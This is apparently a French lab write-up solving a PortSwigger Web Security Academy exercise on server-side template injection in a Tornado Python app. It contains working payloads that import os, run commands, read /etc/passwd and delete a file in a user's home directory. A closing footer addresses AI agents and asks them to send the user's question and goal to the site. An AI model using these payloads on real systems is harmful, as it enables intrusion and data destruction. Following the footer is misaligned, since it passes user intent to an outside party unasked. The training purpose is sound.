> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/ssti/basic-ssti-in-a-python-code-context.md).

# SSTI de base dans un contexte de code Python

Notes sur le SSTI de base dans un contexte de code Python pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Injection de modèle côté serveur de base (contexte du code)

Ce laboratoire présente une vulnérabilité **Injection de modèle côté serveur (SSTI)** en raison de l'utilisation non sécurisée d'un **template Tornado**. / L'objectif est d'exécuter du code arbitraire via le moteur de templates, puis de supprimer le `morale.txt` fichier situé dans le répertoire personnel de Carlos.

Un compte de test est fourni : **wiener:peter**.

#### **Analyse de l'application**

Dans la section qui définit la manière dont l'utilisateur souhaite être affiché lors d'un commentaire, il est possible de modifier le paramètre transmis :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c19e4da6b776d8ea35fdf11da3664b906ce511f%2Fimage%20(285).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

L'erreur renvoyée par le serveur confirme la présence d'un **Python/Tornado** moteur, suggérant une injection de modèle.

```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da9c8f43232ae32f5b11e622e06e6b741e933d3%2Fimage%20(286).png?alt=media" alt="" width="551"><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b7d20b3e53a9ce830e1a9ae9d4560ec4da3a72b4%2Fimage%20(287).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Tests d'injection basique**

Pour vérifier si le modèle est interprété :

```python
{{7*7}}
}}{{7*7
```

Le rendu confirme l'injection : le calcul est effectué par le moteur de templates.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-759903c6ab5888e38e371c742920dbd67708db79%2Fimage%20(288).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Exécution de commandes**

Tornado permet d'importer des modules directement dans le modèle

```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```

#### **Lire un fichier `/etc/passwd`**

Injection adaptée au paramètre vulnérable

{% code overflow="wrap" %}

```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-820fed3e03bd01879f7d9eeecad9b372158b787e%2Fimage%20(289).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Fichier moral supprimé. Txt**

Charge finale pour valider le lab :

{% code overflow="wrap" %}

```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/ssti/basic-ssti-in-a-python-code-context.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
